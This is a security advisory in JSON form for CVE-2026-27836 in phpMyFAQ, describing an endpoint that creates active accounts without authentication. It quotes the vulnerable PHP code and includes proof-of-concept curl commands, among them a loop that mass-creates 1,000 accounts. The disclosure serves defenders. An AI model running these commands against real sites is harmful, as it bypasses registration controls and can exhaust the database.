CVE-2026-27836: Thorsten/phpmyfaq PhpMyFAQ Allows Unauthenticated Account Creation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w22q-m2fm-x9f4",
  "modified" : "2026-02-27T22:20:47Z",
  "published" : "2026-02-27T21:01:58Z",
  "aliases" : [ "CVE-2026-27836" ],
  "summary" : "phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint",
  "details" : "### Summary\n\nThe WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.\n\n### Details\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79\n\n```php\n#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]\npublic function prepare(Request $request): JsonResponse\n{\n    $data = json_decode($request->getContent(), ...);\n    $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if (!$this->user->getUserByLogin($username, raiseError: false)) {\n        try {\n            $this->user->createUser($username);\n            $this->user->setStatus(status: 'active');\n            $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);\n            $this->user->setUserData([\n                'display_name' => $username,\n                'email' => $username,\n            ]);\n```\n\nThe endpoint:\n1. Accepts any POST request with a JSON `username` field\n2. If the username doesn't exist, creates a new **active** user account\n3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`)\n4. Does NOT check if registration is enabled (`security.enableRegistration`)\n5. Does NOT verify CSRF tokens\n6. Does NOT require captcha validation\n7. Has no rate limiting\n\n### PoC\n\n```bash\n# Create an account - no auth needed\ncurl -X POST https://TARGET/api/webauthn/prepare \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker_account\"}'\n\n# Mass account creation\nfor i in $(seq 1 1000); do\n  curl -s -X POST https://TARGET/api/webauthn/prepare \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"username\\\":\\\"spam_user_$i\"}\" &\ndone\n```\n\n### Impact\n\n- **Registration bypass:** Accounts created even when self-registration is disabled\n- **Username squatting:** Reserve usernames before legitimate users\n- **Database exhaustion:** Create millions of fake active accounts (DoS)\n- **User enumeration:** Different responses for existing vs new usernames\n- **Security control bypass:** WebAuthn config check is bypassed entirely\n\nAll phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.18"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27836"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-27T21:01:58Z",
    "nvd_published_at" : "2026-02-27T20:21:40Z"
  }
}